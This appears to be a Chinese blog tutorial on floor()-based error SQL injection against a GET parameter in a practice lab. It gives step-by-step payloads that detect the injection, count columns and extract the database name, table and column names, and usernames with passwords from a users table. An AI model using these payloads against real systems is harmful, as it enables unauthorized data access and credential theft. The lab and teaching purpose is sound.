鲁迅先生曾经说过:做安全,先免责!
用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。
本文主要内容:floor()报错注入实战(get型)
floor()报错注入实战
使用靶场的第五节

1. 判断注入类型
参数:?id=1 and 1=2

参数:?id=1' and 1=2 --+

2. 判断闭合方式
题目中有写到为单引号闭合,且判断注入类型时也有使用到单引号。这里就不再赘述。
PS:判断注入类型与判断闭合方式不用纠结于先判断哪一个,有时候是混在一起判断的。
3. 判断列数
参数:?id=1' group by 4 --+,页面报错,列数小于4

参数:?id=1' group by 3 --+,页面正常,列数为3

4. 查数据
下面的命令只关心concat_ws()的变化即可,其他位置内容均没有发生变化。
4.1 查询数据库名称
获取数据库名称命令:
union select
1,
count(*),
concat_ws('~',(select database()),floor(rand(0)*2)) as k
from information_schema.tables
group by k --+
select后跟三个查询内容(因为存在三列)
- 参数1:
1,占位,无实际含义 - 参数2:
count(*),用于计数 - 参数3:
concat_ws(),同样存在三个参数- 参数1:
~为拼接符 - 参数2:
select database(),查询数据库名称 - 参数3:
floor(rand(0)*2),产生随机数
- 参数1:

PS:后面查表名、查列名和查数据将命令中的select database()替换即可
4.2 查数据表
union select
1,
count(*),
concat_ws(
'~',
(select group_concat(table_name) from information_schema.tables where table_schema=(database())),
floor(rand(0)*2)) as k
from information_schema.tables
group by k --+
concat_ws有三个参数,第二个参数为查询表名的sql语句concat_ws()的第二个参数为select group_concat(table_name) from information_schema.tables where table_schema=(database())- 有了
union注入的基础,这句查询表名的select语句应该是不难,如果不懂,建议回看union注入
- 有了

4.3 查询列名
查询users表下的列名
union select
1,
count(*),
concat_ws(
'~',
(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name = 'users'),
floor(rand(0)*2)) as k
from information_schema.tables
group by k --+
concat_ws()有三个参数,第二个参数为查询列名的sql语句concat_ws()的第二个参数为select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name = 'users'where后有两个条件,一个指明数据库名称;一个指明表名称

4.4 查询数据
因为报错回显只有32个字符,因此需要用到substr()函数
# 第1~30个字符
union select
1,
count(*),
concat_ws(
'~',
(substr((select group_concat(username,'~',password) from users),1,30)),
floor(rand(0)*2)) as k
from information_schema.tables
group by k --+
# 3第1~60个字符
union select
1,
count(*),
concat_ws(
'~',
(substr((select group_concat(username,'~',password) from users),31,60)),
floor(rand(0)*2)) as k
from information_schema.tables
group by k --+


后面的数据内容修改substr()函数的第二个和第三个参数即可。
PS:floor()报错可以显示64个字符,比前面两者报错方式多显示32个字符,案例中使用32个字符是因为我复制了上面报错的语句。
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!
2881

被折叠的 条评论
为什么被折叠?



